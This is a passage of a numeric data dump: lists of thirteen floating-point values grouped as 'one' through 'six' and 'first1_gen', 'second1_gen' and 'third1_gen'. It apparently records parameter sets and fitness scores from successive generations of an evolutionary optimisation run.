8.717160979795123e-10, 146919548917.9041, \n 118508631814.89664]\n[2.2152115305769157e-10, -1.2131115225525171e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.529126273308479e-08, 8.750599822793858e-10, 189141514324.11395, \n 119478476003.54858]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.515944456372276e-08, 8.735477478457909e-10, 171393648132.89902, \n 119746195767.88297]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.680779846505464e-10, 198413310387.34686, \n 120002114057.9749]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, \n 123962248783.03809]\n[2.2152115305769157e-10, -1.1981340041661674e-12, -2.0952905567462806e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.397318554179349e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.721578527250325e-10, 146191133033.73245, \n 124495463707.0261]\n[2.220169404817274e-10, -1.2059133330572482e-12, -2.0840667223230766e-13, \n 5.0388416851351e-11, -1.7352085678160897e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.535159731564839e-08, 8.794413360449789e-10, 153568856127.85236, \n 127226107362.62663]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, \n 7.476241521935537e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.504298228349246e-08, 8.735477478457909e-10, 140382068840.41766, \n 128048566261.66084]\n[-9.575357968769427e-09, -1.2140137633227375e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.747166095423015e-10, -1.842789515995345e-15, \n 7.430575474541962e-16, 2.0343533479720338e-05, -1.761484506217259e-06, \n -1.520980077906525e-08, 8.721578527250325e-10, 135600496522.7375, \n 129146670219.88675]\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.449634745732176e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.735477478457909e-10, 131821303340.10287, \n 132556338910.10567]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0382265280257245e-11, -1.743336316696023e-10, -1.813766783798406e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.735477478457909e-10, 129406444985.873, \n 132653030892.18918]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7480334166671461e-06, \n -1.520980077906525e-08, 8.721578527250325e-10, 133865099427.32999, \n 140436120253.29218]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99377, \n 143105235055.60883]\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69417, \n 143860615432.91846]\n[2.2282051950271776e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, \n 143868003797.30536]\n[-9.575357968769427e-09, -1.2028279049571785e-12, -2.1051647732787472e-13, \n 5.039644867967898e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.430575474541962e-16, 1.9863936167468564e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.749223081325664e-10, 121395913545.80966, \n 144269444777.14786]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.2957, \n 145085114899.6645]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7471650977559177e-10, -1.8261648304268637e-15,\n 7.416691902768309e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.04602, \n 145085114900.12366]\n[2.2082942462171206e-10, -1.2071709641632366e-12, -2.0913778067377877e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.5074975460776788e-08, 8.721578527250325e-10, 109968109293.02217, \n 145590447784.79443]\n[2.22213071071529e-10, -1.2059133330572482e-12, -2.1085309656936224e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760267738096764e-10, 111899934222.58044, \n 153694065180.84283]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.0866854154642685e-13, \n 5.011120217163613e-11, -1.766361848796505e-10, -1.8339694239958517e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760544278271184e-10, 112511385038.11157, \n 154263245256.49524]\n[3.868816176815073e-09, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.4920809345224143e-08, 8.750599822793858e-10, 102250033424.31876, \n 164710456294.5225]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.452586179271996e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, \n 170174200265.44513]\n", "step-4": "one=[7.236287049225701e-06, -1.445911565527231e-12, -1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10, -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10, 135323228000.64511, 130464457208.5385]\ntwo=[6.101651991514008e-06, -1.2764740103418866e-12, -1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05, -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10, 194360719320.3122, 75684271432.82758]\nthree=[6.4442734160126695e-06, -1.2463732938819767e-12, -1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, 40874176708.45886, 129961018217.7445]\nfour=[5.591985036569838e-06, -1.5732644861037622e-12, -1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10, 95538034865.65512, 192689393537.75766]\nfive=[5.9877501684316964e-06, -1.4725222964411265e-12, -2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10, 172629547544.72174, 121012464101.10771]\nsix = [6.525636151737385e-10, -1.5516831882387681e-12, -1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10, -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497686e-05, -1.9757021060346726e-06, -1.5031696163247858e-08, 8.945619840357268e-10, 99871865434.22476, 123933224114.80229]\n\nfirst1_gen= [[6.417695307686038e-06, -1.2416886913890308e-12, -1.791907685050265e-13, 3.983180616117193e-11, -7.243488055496258e-11, -1.1211433897576025e-15, 3.855466000081844e-16, 2.7255618460061466e-05, -1.917823676019374e-06, -1.6515339421288782e-08, 9.011563904603084e-10, 37866240406.859344, 251532289608.81], [5.974092884160685e-06, -1.4591405170404072e-12, -2.0184675219747084e-13, 4.3821744446480515e-11, -7.22093644433135e-11, -1.0712173220027044e-15, 3.65758224365464e-16, 2.235294071412983e-05, -1.763797302814154e-06, -1.6059311052756668e-08, 8.601004856702239e-10, 50907349656.8246, 117645129547.73723], [7.171513003462397e-06, -1.4334443716578728e-12, -1.749514610735409e-13, 5.509823004788858e-11, -2.5310572250093563e-10, -1.1729621402736547e-15, 3.321162280251396e-16, 2.4812886502853343e-05, -1.964119169077712e-06, -1.4799846596325615e-08, 8.965548334484032e-10, 85071583311.774, 128667385131.30013], [7.3000149385339486e-06, -1.4508582334938624e-12, -1.7446896418754742e-13, 5.109944355076077e-11, -2.5448794058714256e-10, -1.1658376910672744e-15, 3.1827015830354867e-16, 2.502027767038304e-05, -1.9664311146400523e-06, -1.4730561693079958e-08, 8.945619840357268e-10, 88113858040.47986, 127558862768.52084], [5.581899283069486e-06, -1.5683042319109065e-12, -1.2586540738798186e-13, 5.535493146365402e-11, -2.359264703422783e-10, -2.1583737575101563e-15, 3.2921934547988314e-16, 2.2287538734129395e-05, -1.8740196054647742e-06, -1.5117323048065992e-08, 9.114608510796109e-10, 90926368846.81926, 202187413440.1054], [7.283321725975412e-06, -1.4356567410151954e-12, -1.7340660013452496e-13, 5.090884822547887e-11, -2.5483963758954753e-10, -1.139281753854116e-15, 3.1970242364315826e-16, 2.7105518268805634e-05, -1.963160298901409e-06, -1.4681586301228543e-08, 8.916460477308206e-10, 142505061534.36484, 476063714570.38367], [5.591985036569838e-06, -1.582675728169255e-12, -1.7359285477580936e-13, 5.508993685740796e-11, -2.5320893657294154e-10, -2.1583737575101563e-15, 3.210132219509301e-16, 2.511654073479438e-05, -1.965555797894771e-06, -1.5140087108671845e-08, 9.214909160927855e-10, 154168790181.56195, 151975095946.00134], [6.4442734160126695e-06, -1.5732644861037622e-12, -1.8036634758606428e-13, 5.508993685740796e-11, -7.27534017567909e-11, -2.1583737575101563e-15, 3.306758579127667e-16, 2.2271668826613973e-05, -1.8701423073554431e-06, -1.501078224172373e-08, 8.952907812465134e-10, 267883353895.00665, 158759045786.36343], [6.460391520361948e-06, -1.2647094709156108e-12, -1.7971415732486973e-13, 4.396430723625485e-11, -7.247266456377939e-11, -1.1373744765683215e-15, 3.658727722774004e-16, 2.7105518268805634e-05, -1.9663482803776534e-06, -1.6397993463300374e-08, 8.923803313149724e-10, 349965962553.9084, 297837273933.3269], [5.6272383047081095e-06, -1.5732644861037622e-12, -1.2571170147507106e-13, 5.534697362808701e-11, -2.3610413258218975e-10, -1.1709514644876058e-15, 3.2295817320330796e-16, 2.2314117324425535e-05, -1.8663649176622442e-06, -1.4769695480936238e-08, 9.134128217572173e-10, 393807734620.02893, 1450122303072.2456], [6.437914022666636e-06, -1.2546731037733632e-12, -1.7844406460041829e-13, 5.488975389250315e-11, -7.259445338393382e-11, -2.1597092009682793e-15, 3.3041861616205316e-16, 2.240369111953624e-05, -1.876360375320595e-06, -1.648586510957147e-08, 9.134128217572173e-10, 630890128752.3734, 431834854178.85406], [6.046575120541287e-06, -1.2764740103418866e-12, -1.746683186012092e-13, 5.109944355076077e-11, -2.520608616913497e-10, -1.0704525109919603e-15, 3.6772692838424905e-16, 2.971296945414015e-05, -1.951293357817624e-06, -1.4769695480936238e-08, 8.939102135383639e-10, 871857905030.9667, 2328286443290.7437], [6.051000675950963e-06, -1.2846825520511646e-12, -1.268060597488819e-13, 5.490952472465525e-11, -2.3244121922778247e-10, -2.1424540029363198e-15, 3.673980081076506e-16, 2.961326937497751e-05, -1.895367635724618e-06, -1.5034205062876655e-08, 9.16195585945909e-10, 1374938673042.5493, 4524615824537.332], [5.6149092148265474e-06, -1.4639678768975506e-12, -1.253161090730697e-13, 4.481233479664715e-11, -2.335516269047763e-10, -2.1416544930348844e-15, 3.3108330528832777e-16, 2.22837679272578e-05, -1.8681878215606722e-06, -1.528899727808779e-08, 8.573199342562181e-10, 1914602582873.603, 2013877892656.268], [6.101651991514008e-06, -1.5833077943313046e-12, -1.9703439809858206e-13, 5.500949944067544e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.970517711660123e-05, -1.8738366196528042e-06, -1.522166132952199e-08, 9.123763139194573e-10, 3105022967535.493, 7589715261899.736], [7.169307360099383e-06, -1.475336624504327e-12, -2.0167346748799746e-13, 4.53859215469466e-11, -2.1795530264429259e-10, -1.209364174087727e-15, 3.179525403817121e-16, 2.248948490803903e-05, -1.9732992714201345e-06, -1.4769695480936238e-08, 8.472670825115021e-10, 3105580314530.341, 4622017117439.275]]\nsecond1_gen= [[6.473615077297489e-06, -1.2416886913890308e-12, -1.7473505716030156e-13, 3.966285637236728e-11, -7.243488055496258e-11, -1.1645955168783485e-15, 3.1918479761370934e-16, 2.7255618460061466e-05, -1.912188850787629e-06, -1.6430064111592607e-08, 8.970550453733459e-10, 35685411688.23251, 231044368946.34586], [6.393923513974502e-06, -1.2418411778899226e-12, -1.7798884315456173e-13, 3.983180616117193e-11, -7.243742739542879e-11, -1.128236668058653e-15, 3.855466000081844e-16, 2.7200371659468664e-05, -1.9285560276423494e-06, -1.636514926725132e-08, 9.071692193685023e-10, 57865021002.9106, 360571654391.1672], [7.230454358781939e-06, -1.423600316370741e-12, -1.7526876652912844e-13, 5.484412599476033e-11, -7.222102668803471e-11, -1.1795054510279537e-15, 3.642469974043324e-16, 2.4721354631465055e-05, -1.7738362153245365e-06, -1.6042437181983083e-08, 8.601004856702239e-10, 60788722272.11295, 440230270157.01904], [6.435449388867622e-06, -1.2416886913890308e-12, -1.807074860305897e-13, 5.4624696474782334e-11, -7.299561923303083e-11, -1.1155657493946243e-15, 3.855466000081844e-16, 2.4639345261867096e-05, -1.92912357850029e-06, -1.4800406168095671e-08, 9.011563904603084e-10, 90541420172.20418, 503189560104.03455], [6.417695307686038e-06, -1.2339817339229541e-12, -1.7924803979756243e-13, 5.5902899343682586e-11, -7.217875877484109e-11, -1.120826019773443e-15, 3.8364837768074985e-16, 2.2074405673546407e-05, -1.904212437644655e-06, -1.509791791618086e-08, 8.960324081400173e-10, 91138056935.866, 156256693553.4698], [7.235432436183002e-06, -1.444519147741974e-12, -1.7273464723057338e-13, 5.517809418856912e-11, -2.5310572250093563e-10, -1.1658376910672744e-15, 3.3048095015500005e-16, 2.4812886502853343e-05, -1.964119169077712e-06, -1.4777953862585708e-08, 8.945619840357268e-10, 98015149423.40909, 125389712442.99564], [6.382295596647026e-06, -1.5683042319109065e-12, -1.271182130914441e-13, 3.9709881372590666e-11, -2.3411267641257417e-10, -1.1298867172210502e-15, 3.273827033054119e-16, 2.71828464025051e-05, -1.86879521538149e-06, -1.6615697675064263e-08, 8.938783145101195e-10, 108132988244.55444, 600937075323.7117], [7.3000149385339486e-06, -1.4649443926376347e-12, -1.740251215699652e-13, 5.5040821609381877e-11, -2.5448794058714256e-10, -1.1729621402736547e-15, 3.321162280251396e-16, 2.492985953688089e-05, -1.95260325957056e-06, -1.4879723555310096e-08, 8.886352647229086e-10, 118040637271.1665, 119637343045.177], [5.595995170722691e-06, -1.5775800984465949e-12, -1.2531378473105398e-13, 5.5737478708430025e-11, -2.359264703422783e-10, -2.141274549861917e-15, 3.2670998922499434e-16, 2.2375793269713536e-05, -1.8912926681237391e-06, -1.5244852134327217e-08, 9.114608510796109e-10, 193706809398.06177, 145429438824.56485], [6.417695307686038e-06, -1.2390179448049186e-12, -2.0184675219747084e-13, 3.996761820973954e-11, -7.30077645678233e-11, -1.0733818300903034e-15, 3.6521589033170274e-16, 2.7380751148035565e-05, -1.901967051200766e-06, -1.6531476837456585e-08, 8.659462633971021e-10, 291714681643.4888, 219358626907.00577], [7.269087955666727e-06, -1.4398732474157131e-12, -1.745771866624504e-13, 5.5370858680922966e-11, -2.5212090845365535e-10, -1.1547640084684547e-15, 3.1826570991307717e-16, 2.4799848604697875e-05, -1.9802449310363633e-06, -1.4932011828861567e-08, 8.916225586049855e-10, 291814703950.912, 265497905413.09335], [5.9575073045674184e-06, -1.4591405170404072e-12, -1.7515686156504634e-13, 5.071091939607585e-11, -7.251972289899038e-11, -1.172163868062928e-15, 3.2003450301868095e-16, 2.236559796692659e-05, -1.964000257622103e-06, -1.461000086726312e-08, 8.924031273079037e-10, 441351014961.37744, 513124822279.29816], [7.118156558728498e-06, -1.4213484509322684e-12, -1.7594919642528414e-13, 5.502275447498347e-11, -2.359264703422783e-10, -2.146866081339977e-15, 3.3020925008057705e-16, 2.48800717576552e-05, -1.8740196054647742e-06, -1.4681760148497176e-08, 9.194043116452982e-10, 480601682287.2741, 2166349399584.3464], [6.435379358296727e-06, -1.449279705541305e-12, -1.791907685050265e-13, 4.013727926643595e-11, -2.561628978573389e-10, -1.1658376910672744e-15, 3.1916771926698506e-16, 2.706170262409588e-05, -1.9747493962051268e-06, -1.6529378614728517e-08, 8.945619840357268e-10, 480690251628.6576, 455217335045.56067], [7.273965294010602e-06, -1.4508582334938624e-12, -1.2640181562203036e-13, 5.1256890020829106e-11, -2.347526011960417e-10, -1.1573810914157072e-15, 3.313802025100971e-16, 2.5248996663846427e-05, -1.8890715225154116e-06, -1.4830513494585048e-08, 9.024560997678787e-10, 513022508534.7746, 1741282758378.8208], [7.171513003462397e-06, -1.4334443716578728e-12, -1.258745292341622e-13, 5.562080442549079e-11, -2.5310572250093563e-10, -2.177369178159867e-15, 3.269368594462498e-16, 2.5052523082312023e-05, -1.9593459141604013e-06, -1.4665768665138152e-08, 8.920318373308913e-10, 559251400205.1976, 313686240874.89294]]\nthird1_gen= [[6.428534934734018e-06, -1.2348251959432863e-12, -1.767418187059626e-13, 3.954772029523348e-11, -7.292041892016764e-11, -1.1216042005993232e-15, 3.8462974452187554e-16, 2.732021800880368e-05, -1.912188850787629e-06, -1.6465861899672315e-08, 8.953663972360121e-10, 35914970214.05617, 208658422545.5101], [6.449609175276781e-06, -1.2355212093166627e-12, -1.7892996139776768e-13, 3.978108705811362e-11, -7.260470610345522e-11, -1.128236668058653e-15, 3.8262320992212617e-16, 2.699492740612888e-05, -1.9285560276423494e-06, -1.6459368248390354e-08, 9.071692193685023e-10, 37667755025.66565, 260591174431.75333], [6.393923513974502e-06, -1.2329510175057565e-12, -1.7878217157136278e-13, 4.009121098742944e-11, -7.243742739542879e-11, -1.119215448440791e-15, 3.855466000081844e-16, 2.7170577516281446e-05, -1.946180426984478e-06, -1.6356719885598995e-08, 9.071692193685023e-10, 41822657912.61174, 187148082730.9518], [6.393923513974502e-06, -1.2418411778899226e-12, -1.7764720872488035e-13, 5.5839617178535e-11, -7.217875877484109e-11, -1.1285205693786809e-15, 3.8241419562917457e-16, 2.727322263242888e-05, -1.9285560276423494e-06, -1.6299569164241514e-08, 8.954758973117168e-10, 45658359101.85514, 143455126000.2526], [6.412748625088242e-06, -1.2418411778899226e-12, -1.7788474362949836e-13, 3.98996561577576e-11, -7.290920324596793e-11, -1.1258830930124426e-15, 3.8322709394594156e-16, 2.6978084672522227e-05, -1.9285560276423494e-06, -1.6212095851483947e-08, 9.06465374180439e-10, 61888825971.955795, 378668457219.4866], [7.2950079161541e-06, -1.423600316370741e-12, -1.8067111524974517e-13, 5.467528933636526e-11, -7.269174548770519e-11, -1.1131382577055909e-15, 3.642469974043324e-16, 2.442302310111588e-05, -1.9365154780516644e-06, -1.4736235919210341e-08, 9.02573445716291e-10, 72168008768.07632, 429565720321.34186], [7.277641363649251e-06, -1.4186237292635021e-12, -1.7672076654522444e-13, 5.4875348972838477e-11, -7.250728822785179e-11, -1.1805107762756462e-15, 3.880180132520679e-16, 2.7230117388865188e-05, -1.79140018540739e-06, -1.6042437181983083e-08, 8.524740779894739e-10, 144497176198.74966, 733034177617.006], [6.435449388867622e-06, -1.2375432988348708e-12, -1.8114977137612309e-13, 3.9353291584632385e-11, -7.306938943468394e-11, -1.1645955168783485e-15, 3.887993677152085e-16, 2.4432920122355823e-05, -1.927081007099796e-06, -1.644170413651962e-08, 9.09149545755435e-10, 151124978488.96066, 169172823395.74277], [7.278147471012389e-06, -1.4279386093057266e-12, -1.7683419692117291e-13, 5.493758019518918e-11, -7.289146026177328e-11, -1.1733747472097884e-15, 3.675691109659462e-16, 2.4721354631465055e-05, -1.7638896999117907e-06, -1.588988736168235e-08, 8.632841256471107e-10, 202474467398.45615, 922092113586.5779], [7.177079530800026e-06, -1.234976832476029e-12, -1.7526876652912844e-13, 5.534254133122458e-11, -7.205830797649949e-11, -1.120826019773443e-15, 3.8364837768074985e-16, 2.2258192147086412e-05, -1.7878127478583311e-06, -1.620023857736605e-08, 8.601004856702239e-10, 213869103072.6637, 175609972725.89545], [6.350923506939188e-06, -1.2525603780194753e-12, -1.7993410193080307e-13, 5.465765498048408e-11, -7.243742739542879e-11, -1.1188147125437704e-15, 3.855466000081844e-16, 2.47790541156232e-05, -1.9163436765125797e-06, -1.4800406168095671e-08, 9.043461740243768e-10, 224990894591.97565, 940216435276.2135], [6.375685299492019e-06, -1.2470011129066444e-12, -1.7556981763399573e-13, 5.482994274294271e-11, -7.247391358991481e-11, -1.1737410455893592e-15, 3.8256427214483946e-16, 2.4747394888572957e-05, -1.921085601798487e-06, -1.655011267092608e-08, 9.011563904603084e-10, 242139334921.33466, 239644754200.97003], [6.474178960026375e-06, -1.436844524248817e-12, -1.766513283684079e-13, 3.940038642964773e-11, -7.181977887130175e-11, -1.1548751736666541e-15, 3.1745148598988346e-16, 2.707077658308786e-05, -1.92536072773705e-06, -1.6138736645669917e-08, 8.669699125562364e-10, 435950975348.6226, 363915964843.3034], [6.393923513974502e-06, -1.4269415936091027e-12, -1.7684911527276688e-13, 5.480211712359269e-11, -7.243742739542879e-11, -1.1795054510279537e-15, 3.8683254669914693e-16, 2.7200371659468664e-05, -1.925930700762681e-06, -1.643396668485197e-08, 8.601004856702239e-10, 840789439847.5613, 886246867017.2574], [6.5292806963971566e-06, -1.2521788644307235e-12, -1.752024719240228e-13, 5.432423395298522e-11, -7.243160061946103e-11, -1.1728842336075722e-15, 3.642469974043324e-16, 2.4721354631465055e-05, -1.9201275577069358e-06, -1.6042437181983083e-08, 8.613978338195112e-10, 1220087240914.9465, 1538404370735.8923], [7.222746286095911e-06, -1.4287928653696903e-12, -1.7798884315456173e-13, 5.47608522234827e-11, -7.177949793819456e-11, -1.1234835849356116e-15, 3.638627899273496e-16, 2.4725904181789833e-05, -1.7849753358990938e-06, -1.6004659818379623e-08, 9.095587982641099e-10, 1457214324700.6113, 3971854766728.4727]]\n\n[1.5780628845471506e-10, -1.411490597458207e-12, -2.483949940281473e-13, 5.026488748046414e-11, -1.6612576871621329e-10, -1.6989844545344268e-15, 8.109443782655016e-16, 2.404048022255995e-05, -1.9859378185800262e-06, -1.6176901999289427e-08, 9.489903548622118e-10, 102704594939.3429, 145011267381.10236]\n\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, 148817892429.6303]\n\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.6265959327559024e-11, -1.669670220497726e-10, -1.7924226413310876e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.68878771600575e-08, 9.514461873186105e-10, 117267023779.58536, 138194745977.8172]\n\n[6.483959591091273e-10, -1.5516831882387681e-12, -2.490649104258458e-13, 5.026488748046414e-11, -1.669670220497726e-10, -1.6989844545344268e-15, 8.109443782655016e-16, 2.3963751617497686e-05, -1.9859378185800262e-06, -1.6176901999289427e-08, 9.514461873186105e-10, 81279986793.6045, 148499957167.59894]\n\n[6.525636151737385e-10, -1.3197261044307544e-12, -2.4458923117817936e-13, 4.6265959327559024e-11, -1.6585443429963996e-10, -1.802849923078712e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.68878771600575e-08, 9.514461873186105e-10, 121168243931.69568, 138376625633.08905]\n\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.59768924730343e-11, -1.6588127033784183e-10, -1.7924226413310876e-15, 9.085513864943156e-16, 2.3963751617497686e-05, -1.9859378185800262e-06, -1.6176901999289427e-08, 9.503282761551985e-10, 127284942067.54468, 147143586736.12967]\n\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15, 8.4683341745183045e-16, 2.3963751617497686e-05, -1.9517021060346726e-06, -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, 148817892429.6303]\n\n[6.483959591091273e-10, -1.5516831882387681e-12, -2.477506624442777e-13, 5.026488748046414e-11, -1.669670220497726e-10, -1.7924226413310876e-15, 8.070333012129768e-16, 2.4138485475672502e-05, -1.9859378185800262e-06, -1.6108027319186075e-08, 9.514461873186105e-10, 78167992157.7952, 149819556305.94864]\n\n[2.8389500911155237e-10, -1.3179669217824132e-12, -2.1290409882195637e-13, 5.0376537605765665e-11, -1.7763084077799175e-10, -1.8081388431942655e-15, 8.940150894056582e-16, 2.501288034169883e-05, -2.04721003e-06, -1.5842532923181598e-08, 9.632771875757591e-10, 108694336300.90585, 154375559012.27695]\n\n[3.603083193105678e-11, -1.3197261044307544e-12, -2.213785963757499e-13, 4.581086934703742e-11, -1.6681614728164575e-10, -1.803564324024427e-15, 8.4683341745183045e-16, 2.4065016435368993e-05, -2.0711260096490455e-06, -1.7031696163247858e-08, 1.0052651438176042e-09, 98921398930.67514, 195080915978.15582]\n\n[-2.0926038768787875e-10, -1.4706748741606338e-12, -2.3988654320236774e-13, 4.877026722101481e-11, -1.4519789238682426e-10, -1.8284483886533772e-15, 8.688144408462996e-16, 2.7398930354457147e-05, -1.8015495121292713e-06, -1.818410294118833e-08, 8.90965422552221e-10, 100727388654.51337, 143318140783.98648]\n\n[-2.0926038768787875e-10, -1.4706748741606338e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.450370910345386e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06, -1.818410294118833e-08, 8.935114691513575e-10, 112772825510.86789, 160453198244.84198]\n\n[-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, 4.764041880667976e-11, -1.8918518378579712e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7122228639393258e-05, -1.8099079507631247e-06, -1.8203397437532012e-08, 8.935114691513575e-10, 177535436392.6114, 109895891048.79645]\n\n[-2.0926038768787875e-10, -1.6406892521440393e-12, -1.9531413192683389e-13, 4.85603371945204e-11, -1.450370910345386e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 8.935114691513575e-10, 150364957402.63327, 122880053749.32047]\n\n[-8.223802918909379e-10, -1.4625176901480844e-12, -2.703868659848318e-13, 4.852404641399239e-11, -1.896863627503491e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.697391208672331e-05, -1.7223534426462784e-06, -1.7212440323693525e-08, 8.377481199786938e-10, 199237170018.58218, 130994741061.18477]\n\n[-2.1118416643089627e-10, -1.459747004615292e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4471230416768517e-10, -1.9257301298903336e-15, 8.688144408462996e-16, 2.7267797101210102e-05, -1.8015495121292713e-06, -1.818410294118833e-08, 8.935114691513575e-10, 120611068648.22205, 148716985588.15564]\n\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15, 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.830053261436748e-08, 9.081976758127089e-10, 190052435274.9098, 101545825010.15762]\n\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4446129047664535e-10, -1.8210829282495652e-15, 8.731899868495941e-16, 2.4857867004975476e-05, -1.8015495121292713e-06, -1.8287117187317536e-08, 